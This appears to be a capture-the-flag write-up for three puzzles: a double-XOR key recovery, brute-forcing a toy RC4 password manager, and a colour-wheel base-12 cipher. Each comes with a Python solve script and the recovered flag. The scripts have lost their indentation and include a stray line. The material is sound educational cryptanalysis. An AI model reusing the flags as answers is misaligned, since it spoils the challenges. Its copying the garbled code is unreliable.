('444', 271)
----------1------------
('397', 252)
('422', 246)
('442', 220)
('481', 232)
('397', 262)
('487', 260)
('481', 257)
('433', 264)
('482', 257)
('444', 264)
('438', 240)
('397', 260)
('483', 263)
('487', 271)
('397', 264)
('422', 273)
('442', 242)
('483', 248)
('487', 245)
as you can see 481^key1[0]^key2[0]
has the same value as 481^key1[0]^key2[4]
, you can also see 481^key1[1]^key2[0]
is the same as 481^key1[1]^key2[4]
, that means our plan is working fine.
the next thing we gonna do is to bruteforce to get the key, for example the first 19 lines contains key1[0]^key2[0
to key1[0]^key2[18]
, so if we can guess key1[0]
correctly, we can recover the whole key2.
from string import printable
printable = printable[:-5]
key2_enc = [470,509,481,442,470,444,442,490,441,487,493,470,440,444,470,509,481,440,444]
key2 = ""
for i in printable:
key2 = ''
for j in key2_enc:
key2 += chr(481^j^ord(i))
print (key2)
We can see that there is one line that is an english leet text. which is _th3_53c0nd_15_th15
, this is it, this must be a key2. next step is we basically do the same thing but this time to recover key1 and we don't need to bruteforce anymore, we just use the first character of key2 which is _
.
key1_enc = [470,397,460,397,409,395,481,458,470,397,481,472,399,460,395,458,481,470,394,466,472]
key2 = "_th3_53c0nd_15_th15"
key1 = ''
for i,j in zip(key1_enc,"_"*21):
key1 += chr(481^i^ord(j))
print ("flag{" + key1 + key2 + '}')
flag : flag{h3r3'5_th3_f1r5t_h4lf_th3_53c0nd_15_th15}
worst-pw-manager
I found this in-progress password manager on a dead company's website. Seems neat.
When we look at the maskedfilename, what the code does is actually rotate each character from password by its position. So we can recover the password already by rotating it back, however this will not help us get the flag yet.
The next step is to take a look at the generatekey() function, the flag is cycled, so it was basically an endless string with the flag over and over again, the generatekey() function take every 8th character and make that the whole key. so if the 8th character from the flag is "a", that means the key will be [61,61,61,61,61,61,61,61] which is a hex representation of 'a'.
We don't even need to analyze the rc4() function, because we have the password and it's ciphertext, we can just bruteforce the key.
from string import printable,ascii_lowercase
class KeyByteHolder(): # im paid by LoC, excuse the enterprise level code
def __init__(self, num):
assert num >= 0 and num < 256
self.num = num
def __repr__(self):
return hex(self.num)[2:]
def rc4(text, key): # definitely not stolen from stackoverflow
S = [i for i in range(256)]
j = 0
out = bytearray()
#KSA Phase
for i in range(256):
j = (j + S[i] + key[i % len(key)].num) % 256
S[i] , S[j] = S[j] , S[i]
#PRGA Phase
i = j = 0
for char in text:
i = ( i + 1 ) % 256
j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(ord(char) ^ S[(S[i] + S[j]) % 256])
return out
return [next(iterator) for _ in range(count)]
def generate_key(flag):
key = [KeyByteHolder(0)] * 8 # TODO: increase key length for more security?
for i, c in enumerate(flag): # use top secret master password to encrypt all passwords
key[i].num = c
return key
password_masked = {"0" : "135791","151" : "tfsxmjxv","203" : "mbtle","256" : "aoihpt","309" : "jbpxewe","361" : "abnlcfn",
"100" : "amgaesjyi","152" : "7890123","204" : "gbdumjrh","257" : "kfpqiyn","30" : "fskhriy","362" : "ppqnmj",
"101" : "amgamx","153" : "cighwj","205" : "imqyidub0","258" : "mbuwiw","310" : "fvenskl","363" : "jpjqgjth",
"102" : "jfuxw","154" : "161098","206" : "bbkoid","259" : "sdqrfd","311" : "amkfmf","364" : "lpxhptbl",
"103" : "etvuiqrh","155" : "asuhrfr","207" : "jfthqd","25" : "svpvlntl","312" : "njeksqgz","365" : "fveniw",
"104" : "mjixiq","156" : "dpnslnt","208" : "pbohpf","260" : "cbtpis","313" : "fmqziwy","366" : "acegik",
"105" : "wjnomfs","157" : "aovrrnu","209" : "kjoeiwrf","261" : "468024","314" : "cskvxngu","367" : "bfpmerou",
"106" : "tiqpex","158" : "hfcwljx","210" : "gfolrn","262" : "sfddwyohv","315" : "tjpwms","368" : "143658",
"107" : "bfcxxnlbt","159" : "dbxlh","211" : "sicqrtt","263" : "rfdhghg","316" : "bjcqgf","369" : "gbpjwyg",
"108" : "mznrzj","15" : "jfuvmhg","212" : "pjewywkz","264" : "jbenmj","317" : "citlwgxvew","36" : "jvuwms",
"109" : "aoihpf","160" : "gjpjiw","2" : "135791357","265" : "sqkgiwshv","318" : "cigvxjx","370" : "bsqroj",
"10" : "njerpj","161" : "sugslftpm","213" : "atuksqk","266" : "citlwyuwpnb","319" : "113355","371" : "345678",
"110" : "ppqkfjgy","162" : "pfcqyy","214" : "sprkmj","267" : "kbtlrf","31" : "bvvwiwlsg","372" : "hjrksu",
"111" : "pbvumhq","163" : "bmkqo649","215" : "jfuvmj","268" : "jpjqrd","320" : "snqnid","373" : "abcdef",
"112" : "imqyirk","164" : "sxghxnk","216" : "hfnospoabh","269" : "hpvpenr","321" : "sjnyiw","374" : "mzddfd",
"1" : "13579","165" : "234567","217" : "cmcxhng","26" : "ciqfsqgam","322" : "iovhvska","375" : "sftjmt",
"113" : "sbmxvf","16" : "666666","218" : "bbdbknxs9","270" : "0246802468","323" : "sxghx","376" : "wfnfsrk",
"114" : "aetles","166" : "bfcxxd","219" : "aoihpnih","271" : "sdjrsq","324" : "sutdagkyzh","377" : "mfvdpqoji",
"115" : "amgaesjlz","167" : "999999","21" : "imqyiz","272" : "bbtfiquui","325" : "gbtimjrk","378" : "jvnles",
"116" : "dfuwmse","168" : "vjewswoh","22" : "012345","273" : "avixwy","326" : "dfpqmx","379" : "tscymx",
"117" : "citlwyohv","169" : "hpphc","220" : "avuwms","274" : "osndriu","327" : "pbpjiy","37" : "lpxhqj",
"118" : "133557","170" : "01234","221" : "mbjdppu","275" : "sboxiq","328" : "fscqgny","380" : "mzusehk8",
"119" : "sbadrl","171" : "fftqesjv","222" : "vjewsw","276" : "cbohvtt","329" : "cbuvmj","381" : "bbdbfqal",
"11" : "dbpliq","172" : "ppmhqtt","223" : "hptvix","277" : "smksosua","32" : "pvtspj","382" : "sbdumsg",
"120" : "angumhg","173" : "mbijmj","224" : "tjhiese","278" : "cvvliuol","330" : "bfpimhg","383" : "mjekejr8",
"121" : "dbpfiw","174" : "cptddtt","225" : "mbtlesg","279" : "mppnid7","331" : "lpxh579","384" : "jfhivje",
"122" : "mpplgf","175" : "cikfojt","226" : "eewdviu","27" : "pbuvatxk9","332" : "608204","385" : "sugsljt",
"123" : "rjekewj","176" : "pfrsiw","227" : "aofuix","280" : "51ehry","333" : "atfikm","386" : "lpxh",
"124" : "124578","177" : "cskvxnth","228" : "cpwuxskf","281" : "bpplxf","334" : "lpnomuuw","387" : "dbmrxf",
"125" : "pskqgjyz9","178" : "rbkqftc","229" : "bpqest","282" : "kfxlr","335" : "omkymf","388" : "cbvkiwoum",
"126" : "567890","179" : "kjuvix","230" : "kjuvqj","283" : "bjvfl","336" : "cbpfiw","389" : "bbfesd",
"127" : "djcpssj","17" : "mjekejr","231" : "hbtoid","284" : "mbidrig","337" : "cbolpf","38" : "fvencta",
"128" : "cbtrpnth","180" : "mbpxiq","232" : "rppdpiu","285" : "bbdbfte","338" : "qxguxdapwy","390" : "fftqesjh",
"129" : "sugyis","181" : "mzusehk","233" : "imqyidub9","286" : "cbusiw","339" : "svrhvxzhz","39" : "135468",
"12" : "bbdbknxs","182" : "rfdhpik","234" : "psgfmtaz","287" : "bsgqhf","33" : "aoihp","391" : "wfuwpnll",
"130" : "rbpjiwy","183" : "aoihp6","235" : "odvrfjx","288" : "aekgex","340" : "hbtucuuabnb","392" : "bmqqhnk",
"131" : "lpwlwj","184" : "rjedviu","236" : "iowbexnh","289" : "kjvwis","341" : "iicwidub","393" : "sbuxoj",
"132" : "oscqkj","185" : "bbdbkzxs","237" : "pfcfljy","28" : "spefiw","342" : "cicupjy","394" : "snkoid",
"133" : "791791","186" : "hfcyis","238" : "vftrrnih","290" : "kbthr","343" : "mppluzk","395" : "jbenwtt",
"134" : "901234","187" : "56789","239" : "citlw","291" : "mvuwesm","344" : "mjfqmlna","396" : "sjospj",
"135" : "siquxd","188" : "bbuhffrs","23" : "mjekiqrl","292" : "itceiq","345" : "vjpfisz","397" : "mfndrnk",
"136" : "12345","189" : "mbtwms","240" : "890123","293" : "nbvdpnk","346" : "citlwyoum","398" : "sugdyf",
"137" : "nbvkes","18" : "atjoid","241" : "aetlesg","294" : "cvvhepu","347" : "aqroix","399" : "dpnslntz",
"138" : "soqrtd","190" : "gsghrigf","242" : "cvvli","295" : "jbxliw","348" : "sdqutnu","3" : "pbuvatxk",
"139" : "gbdumjr","191" : "npxhqgky","243" : "jbohw","296" : "791791791","349" : "jptges80","400" : "rpdhvyu",
"13" : "mppnid","192" : "amavwf","244" : "bbpdrf","297" : "135999","34" : "jptges","401" : "fmwijd",
"140" : "hvpwiw","193" : "mbflwtt","245" : "pskqgj","298" : "sbtdl","350" : "lpthrf","402" : "tfthwf",
"141" : "ciguvd","194" : "mpvkiw","246" : "fskhri","299" : "bpyzsb","351" : "aofuijg","403" : "pjioiy",
"142" : "kjnoiw","195" : "135666","247" : "jfuxw6","29" : "aovksse","352" : "mftfiikz","404" : "rppdpi",
"143" : "sbpgvf","196" : "135dfh","248" : "csavxfr","300" : "pptwylgs","353" : "kbvkiwoum","405" : "smkgixnve",
"144" : "amgmesjyw","197" : "mbjdppoai","249" : "cfnwmh","301" : "lbwue","354" : "cicuqjj","406" : "atfikmprt",
"145" : "bvuwiw","198" : "bbvpes","24" : "tjijiw","302" : "789012","355" : "ackjenr","407" : "mjpqmj",
"146" : "gfqukj","199" : "sfrwirhlz","250" : "zyeyfss","303" : "mbtyms","356" : "rbhdiq","408" : "nfybswq",
"147" : "bskwxftf","19" : "qxguxd","251" : "eeydvi","304" : "dfplwj","357" : "idgfvjgt",
"148" : "amgmesjyi","200" : "dfehqgky","252" : "omkyiw","305" : "tjihvx","358" : "mfzlgt",
"149" : "pbvumhoh","20" : "123456","253" : "djcqe","306" : "vpnoidhhtu","359" : "bskdrsg",
"14" : "lpxhpd","201" : "mptjes","254" : "sbovysm","307" : "jbusiw","35" : "ljxhvuuvt",
"150" : "rbekiq","202" : "mbtlttyh","255" : "fsghhts","308" : "rpenwygy","360" : "njtyesg"}
password = []
password_enc = []
for l in range(0,409):
try:
x = password_masked[str(l)]
password_enc.append(open((str(l) + '_' + x + ".enc"),'rb').read())
except:
password.append("")
password_enc.append("")
continue
password.append("".join([chr((((c - ord("0") - i) % 10) + ord("0")) * int(chr(c) not in ascii_lowercase) + (((c - ord("a") - i) % 26) + ord("a")) * int(chr(c) in ascii_lowercase)) for c, i in zip([ord(a) for a in x], range(0xff))]))
flag = []
for i in range(0,len(password)):
if password_enc[i] == '':
continue
for l in printable:
testkey = [ord(l) for _ in range(8)]
if rc4(password[i],generate_key(testkey)) == password_enc[i]:
flag.append(l)
break
print (''.join(flag))
output :
ysnnltu_idr_aoug_iy_fptd_ics_htaopidr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug
the next thing to do is to find the key length, we can assume the key length as len("ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}")
.
flag = ["X" for _ in range(len("ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}"))]
flag_enc = "ysnnltu_idr_aoug_iy_fptd_ics_htaopidr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug_iy_fptd_ics_htaopps}ysnnp{idtsltu_idr_aoug"
for i in range(len(flag_enc)):
flag[(i*8)%len(flag)] = flag_enc[i]
print (''.join(flag))
output : id_and_python_is_stupid}flag{crypto_is_stup
My solution may look atupid and lazy but actually I tried to find some way to decrypt the rc4() function however I can't really find it, so I believe that this is the actual intended solution.
flag : flag{crypto_is_stupid_and_python_is_stupid}
12-shades-of-red-pwn
ALERT This one is a guessy chall
We are given two images
And the hint says :
Everyone's favorite guess god Tux just sent me a flag that he somehow encrypted with a color wheel!
I don't even know where to start, the wheel looks more like a clock than a cipher... can you help me crack the code?
So the color wheel is basically just a number in a clock 0 starts at bright yellow color on very top
and goes on to the color on the right
And we just have to convert the color in first image with the number based on the color-wheel, convert it using base-12
And we got the flag
flag = flag{9u3ss1n9_1s_4n_4rt}